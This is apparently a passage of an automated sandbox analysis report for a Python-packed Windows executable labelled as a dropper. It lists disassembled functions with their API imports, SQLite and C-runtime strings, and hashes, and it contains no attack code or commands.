Opcode ID: 04587b85e8c5a5f01c124244adb340557da1a3c376205467b785ddfdae2ba4e1
Instruction ID: a89100743298aa394df7a0bc1ee220fbe075d417e044e5c59ac706c83a0238ca
Opcode Fuzzy Hash: 04587b85e8c5a5f01c124244adb340557da1a3c376205467b785ddfdae2ba4e1
Instruction Fuzzy Hash: DB21D67262868681EB20EB14F4916EAE364FFA5788FC01136E74D4799DDF7CD215CB10

Function 00007FF7B1100468 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7B11004B8
RaiseException.KERNEL32 ref: 00007FF7B11004F9

Strings

csm, xrefs: 00007FF7B11004E6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: c8cc4bb08b20690d02c8bce5cff6a9b5d4d552f887a177c474232a7ea1470dcf
Instruction ID: 1e5a5edb6d15036ba1751cb96005690155786f1d7dc9949cb6edb74bea5f2680
Opcode Fuzzy Hash: c8cc4bb08b20690d02c8bce5cff6a9b5d4d552f887a177c474232a7ea1470dcf
Instruction Fuzzy Hash: 9E118E32A18B4482EB619B29F404269B7E4FB99B88F994230EBCC47B59DF7CC4518700

Function 00007FF7B11109FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1110A2C
GetDriveTypeW.KERNEL32 ref: 00007FF7B1110A6C

Strings

:, xrefs: 00007FF7B1110A55

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 0bb087a2c4c4f6707d1aaf47450714c5cfb5908953c580e39f9c8bdb8a3b6409
Instruction ID: e658934f62d2653758f10665b3c08920d8104fafff134d2b7aedc2079bd43052
Opcode Fuzzy Hash: 0bb087a2c4c4f6707d1aaf47450714c5cfb5908953c580e39f9c8bdb8a3b6409
Instruction Fuzzy Hash: 1401B512D1C20B85EB20BF58B46227EE390EF6670CFC10135D74D46649DFBCE510CA24

Analysis Process: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exePID: 7656, Parent PID: 7600COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	278
Total number of Limit Nodes:	13

Executed Functions

Function 00007FF8E75166F0 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516838
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516856
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516874
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516892

Strings

delete, xrefs: 00007FF8E751686A
insert, xrefs: 00007FF8E751682E
replace, xrefs: 00007FF8E7516888
Cannot operate on a closed database., xrefs: 00007FF8E7516AE5
You can only execute one statement at a time., xrefs: 00007FF8E75169B1
Base Connection.__init__ not called., xrefs: 00007FF8E751CF01
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E751CECA
the query contains a null character, xrefs: 00007FF8E7516A0F
query string is too large, xrefs: 00007FF8E7516A8B
sqlite3.Connection, xrefs: 00007FF8E7516A24
update, xrefs: 00007FF8E751684C

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$You can only execute one statement at a time.$delete$insert$query string is too large$replace$sqlite3.Connection$the query contains a null character$update
API String ID: 4164062812-3639599724
Opcode ID: f5273bdf54cb06cd5d538bbbb3c294481d673bae0095213b7163fced7fe1f5f9
Instruction ID: 2dc056f42cfdf6ea4c460d9cce074c6637a915f5161bac8b3554b6cc33a2ee52
Opcode Fuzzy Hash: f5273bdf54cb06cd5d538bbbb3c294481d673bae0095213b7163fced7fe1f5f9
Instruction Fuzzy Hash: D1917A25A08E4382FB608FA2EC5477C67A0EF44BC7F544436D96E476A9DF2CE589C302

Function 00007FF8E75151A0 Relevance: 21.6, APIs: 3, Strings: 9, Instructions: 615COMMON

Download Yara Rule

APIs

00007FF8E76ACD40.PYTHON311 ref: 00007FF8E7515242
00007FF8E73C6B10.SQLITE3 ref: 00007FF8E75153ED
00007FF8E73C6B10.SQLITE3 ref: 00007FF8E751574E

Strings

executemany() can only execute DML statements., xrefs: 00007FF8E7515869
Cannot operate on a closed database., xrefs: 00007FF8E75159C9
Base Connection.__init__ not called., xrefs: 00007FF8E751CB42
Base Cursor.__init__ not called., xrefs: 00007FF8E7515A39
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E7515A03
Cannot operate on a closed cursor., xrefs: 00007FF8E75159E3
Recursive use of cursors not allowed., xrefs: 00007FF8E7515A56
Error while building row_cast_map, xrefs: 00007FF8E751CC64
BEGIN , xrefs: 00007FF8E75156CE

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007
String ID: BEGIN $Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Error while building row_cast_map$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$executemany() can only execute DML statements.
API String ID: 3568877910-2731538448
Opcode ID: ee0d8454c5c9d970da0218faf46479518938e162efa0cbd301689f1702c18be9
Instruction ID: 4429ffb3cbd051df525ce82934f92c307ac4858e505855ae84b6dc0564784075
Opcode Fuzzy Hash: ee0d8454c5c9d970da0218faf46479518938e162efa0cbd301689f1702c18be9
Instruction Fuzzy Hash: 66521336A08E4286EB549FA5E85433C63A0FF85BD7F240435CA2E476A4DF3DE885D742

Function 00007FF8E75128B0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FF8E76ACD40.PYTHON311 ref: 00007FF8E7512A58
00007FF8E76ACD40.PYTHON311 ref: 00007FF8E7512A6C

Strings

sqlite3.connect/handle, xrefs: 00007FF8E7512ABC
sqlite3.connect, xrefs: 00007FF8E75128E6

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007
String ID: sqlite3.connect$sqlite3.connect/handle
API String ID: 3568877910-789065793
Opcode ID: f65f1b4aa8fab3d01ff863b74949dc8337d09ceb04be27526f80d31c3e7b3a06
Instruction ID: 51842e802e42ed75141cf6c499819fb2b99d5b6b8eeba0343fecdd910dc84286
Opcode Fuzzy Hash: f65f1b4aa8fab3d01ff863b74949dc8337d09ceb04be27526f80d31c3e7b3a06
Instruction Fuzzy Hash: EEA1FE36A09F8286EB608FA5E88436D73A4FB49BD6F144535CEAE42758DF3DE444C702

Function 00007FF8E7547FFC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FF8F9D619C0.VCRUNTIME140 ref: 00007FF8E7548051

Strings

argument 'data', xrefs: 00007FF8E755494A
contiguous buffer, xrefs: 00007FF8E7554943
decompress, xrefs: 00007FF8E7554951

Memory Dump Source

Source File: 00000002.00000002.1773557891.00007FF8E7541000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF8E7540000, based on PE: true

Associated: 00000002.00000002.1773494525.00007FF8E7540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E7564000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E7569000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773687913.00007FF8E756A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773719902.00007FF8E756C000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7540000_SecuriteInfo.jbxd

Similarity

API ID: 00007D619
String ID: argument 'data'$contiguous buffer$decompress
API String ID: 1596299418-2667845042
Opcode ID: 6f5a67f52f9f9f4db097372ad2f0ef7fa7d88bdcbbd3075795eb13141a983109
Instruction ID: 689e2425fbba3dcd7dc71458656ef0a062ee1df0ea74399e0ed3295dc46bab7a
Opcode Fuzzy Hash: 6f5a67f52f9f9f4db097372ad2f0ef7fa7d88bdcbbd3075795eb13141a983109
Instruction Fuzzy Hash: B5415C21A18B8282EA108B92EC4437D63A4FB49BD4F485136DE7E17B94EF3DF545C742

Non-executed Functions

Function 00007FF8E7553BB0 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E7553BCC
00007FF8F9D619C0.VCRUNTIME140 ref: 00007FF8E7553BF0
RtlCaptureContext.KERNEL32 ref: 00007FF8E7553BF9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E7553C13
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E7553C54
00007FF8F9D619C0.VCRUNTIME140 ref: 00007FF8E7553C87
IsDebuggerPresent.KERNEL32 ref: 00007FF8E7553CA8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E7553CC9
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E7553CD4

Memory Dump Source

Source File: 00000002.00000002.1773557891.00007FF8E7541000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF8E7540000, based on PE: true

Associated: 00000002.00000002.1773494525.00007FF8E7540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E7564000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E7569000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773687913.00007FF8E756A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773719902.00007FF8E756C000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7540000_SecuriteInfo.jbxd

Similarity

API ID: 00007D619ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 4166452831-0
Opcode ID: 20b3d6c6e0832c53b5da1da8faa77a9c607007c578d0bea065c04d4a4ef01c4f
Instruction ID: 408221948a4e08775155709377eab43b1892634c8d9443c509ed86a9c3bcae1e
Opcode Fuzzy Hash: 20b3d6c6e0832c53b5da1da8faa77a9c607007c578d0bea065c04d4a4ef01c4f
Instruction Fuzzy Hash: CE310A72609EC18AEB609FA1E8507ED73A4FB84788F44443ADA5E47B94DF3CD548C711

Function 00007FF8E751B970 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E751B98C
RtlCaptureContext.KERNEL32 ref: 00007FF8E751B9B9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E751B9D3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E751BA14
IsDebuggerPresent.KERNEL32 ref: 00007FF8E751BA68
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E751BA89
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E751BA94

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 73110fe95f56f2e246e2a39845b86ad545e02ac88c3586a09d39c753f47919d1
Instruction ID: 94c5ff5346cb3bdd2050ff58380d2ced86076ad3d08f2cff8f20b8cd0d76ed8e
Opcode Fuzzy Hash: 73110fe95f56f2e246e2a39845b86ad545e02ac88c3586a09d39c753f47919d1
Instruction Fuzzy Hash: BF313D72609F828AEB609FA0E8507ED73A0FB84786F44443ADA5D47B98DF3CD648C711

Function 00007FF8E7516FD0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E75170B3
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E75170CE
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E75170E5
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E75170FD

Strings

delete, xrefs: 00007FF8E75170DB
insert, xrefs: 00007FF8E75170A6
replace, xrefs: 00007FF8E75170F6
You can only execute one statement at a time., xrefs: 00007FF8E751CF8F
the query contains a null character, xrefs: 00007FF8E751CFC5
query string is too large, xrefs: 00007FF8E751CFB5
update, xrefs: 00007FF8E75170C4

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026
String ID: You can only execute one statement at a time.$delete$insert$query string is too large$replace$the query contains a null character$update
API String ID: 4164062812-1845899854
Opcode ID: 85670fe99c256b4035ecc5ad04d73d73287a94dcff575db1ead4e4b6bb150e32
Instruction ID: 0ed2d924cab7fd0acbe338b176641b51ddb16840700a41a9c4d2a60a1e07ab9f
Opcode Fuzzy Hash: 85670fe99c256b4035ecc5ad04d73d73287a94dcff575db1ead4e4b6bb150e32
Instruction Fuzzy Hash: 8C515C21A08E5382FA149BA6EC5477DA3A1AF84BD3F180535DD2E477A4DF3CE446C742

Function 00007FF8E751B040 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E751B068
__scrt_initialize_crt.LIBCMT ref: 00007FF8E751B0AD
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E751B0BA
_RTC_Initialize.LIBCMT ref: 00007FF8E751B0E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E751B10E
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E751B139

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: f75ecc2d8c1b9a871e020600fca4442604da94269eddfc7fb5995d09ef7590c1
Instruction ID: 279a38671e0ffa4cdf88f3e6cef166f863abd215cd789ccd78e542746945c792
Opcode Fuzzy Hash: f75ecc2d8c1b9a871e020600fca4442604da94269eddfc7fb5995d09ef7590c1
Instruction Fuzzy Hash: B181BD61E0CA8786FA50ABE6DC413BD62A1AF957C2F154435DA3C437A2DF3DE8468703

Function 00007FF8E7514F80 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 193COMMON

Download Yara Rule

APIs

00007FF8E76ACD40.PYTHON311 ref: 00007FF8E75150E0

Strings

Cannot operate on a closed database., xrefs: 00007FF8E7515182
Base Connection.__init__ not called., xrefs: 00007FF8E751CA8B
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E751CA58
execute, xrefs: 00007FF8E751CA16, 00007FF8E751CB13
factory must return a cursor, not %.100s, xrefs: 00007FF8E751CAAD
argument 1, xrefs: 00007FF8E751CB0C
str, xrefs: 00007FF8E751CB05

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$argument 1$execute$factory must return a cursor, not %.100s$str
API String ID: 3568877910-652842647
Opcode ID: d27bf61ee4a98634d4261b76ce9cd54fc1edece76dedd19c8bdc2d1968ee5d44
Instruction ID: 9140a29bdefaf646629f5105ecacf989b342c8034177e9a7d4b27b4496e70e62
Opcode Fuzzy Hash: d27bf61ee4a98634d4261b76ce9cd54fc1edece76dedd19c8bdc2d1968ee5d44
Instruction Fuzzy Hash: E7912232A08E4282EA559FA5DC8477C23A1FB48BD6F544431CA2E437A4DF7DE885D382

Function 00007FF8E751697C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 69COMMON

Download Yara Rule

APIs

00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516838
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516856
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516874
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516892

Strings

insert, xrefs: 00007FF8E751682E
delete, xrefs: 00007FF8E751686A
replace, xrefs: 00007FF8E7516888
update, xrefs: 00007FF8E751684C

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026
String ID: delete$insert$replace$update
API String ID: 4164062812-310407209
Opcode ID: 7c604190ea982bc6862ef712fed7f76d342510ff7bfb9a8620637aef0df7eee1
Instruction ID: 37bb5a7b084d46ca6d318e0427280a944d54d05db5c53a322809c3855e77b930
Opcode Fuzzy Hash: 7c604190ea982bc6862ef712fed7f76d342510ff7bfb9a8620637aef0df7eee1
Instruction Fuzzy Hash: C921BF61A08E5382FB608F66EC1033C27A1EF41FC3F48407AC96D4A68ADE2CE556C342

Function 00007FF8E75169D9 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516838
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516856
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516874
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516892

Strings

insert, xrefs: 00007FF8E751682E
delete, xrefs: 00007FF8E751686A
replace, xrefs: 00007FF8E7516888
update, xrefs: 00007FF8E751684C

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026
String ID: delete$insert$replace$update
API String ID: 4164062812-310407209
Opcode ID: 55d76c71ca6707038f4485d3968fe73a8d602063b72aba7a2a39815a21053d33
Instruction ID: 98bb43d7016d874bd7430881f62fa05007c603120fc640c1d6ad16f06cc8e3a6
Opcode Fuzzy Hash: 55d76c71ca6707038f4485d3968fe73a8d602063b72aba7a2a39815a21053d33
Instruction Fuzzy Hash: BD219C61A08E5382FA608B55EC1033C2791EF41BC3F488076C9AD4B68ADE2DE656C342

Function 00007FF8E7516910 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52COMMON

Download Yara Rule

APIs

00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516838
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516856
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516874
00007FF906026A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7516892

Strings

insert, xrefs: 00007FF8E751682E
delete, xrefs: 00007FF8E751686A
replace, xrefs: 00007FF8E7516888
update, xrefs: 00007FF8E751684C

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026
String ID: delete$insert$replace$update
API String ID: 4164062812-310407209
Opcode ID: 25b7c0b31f0d2a560fd390b79b5b474fca991390d289ae70a164b8cd878f4644
Instruction ID: becf754b2eb8f3d24fabbc0da5e3af760cd7071907c7cb5798284282048bb629
Opcode Fuzzy Hash: 25b7c0b31f0d2a560fd390b79b5b474fca991390d289ae70a164b8cd878f4644
Instruction Fuzzy Hash: BD116A24A08E1382FA608B52EC4033D27A4AF44FC3F54443ACD6D8A695EF2CE656C342

Function 00007FF8E7517900 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 185COMMON

Download Yara Rule

APIs

00007FF8E73C6B10.SQLITE3 ref: 00007FF8E75179B2

Strings

Cannot operate on a closed database., xrefs: 00007FF8E7517B11
Base Connection.__init__ not called., xrefs: 00007FF8E751D29C
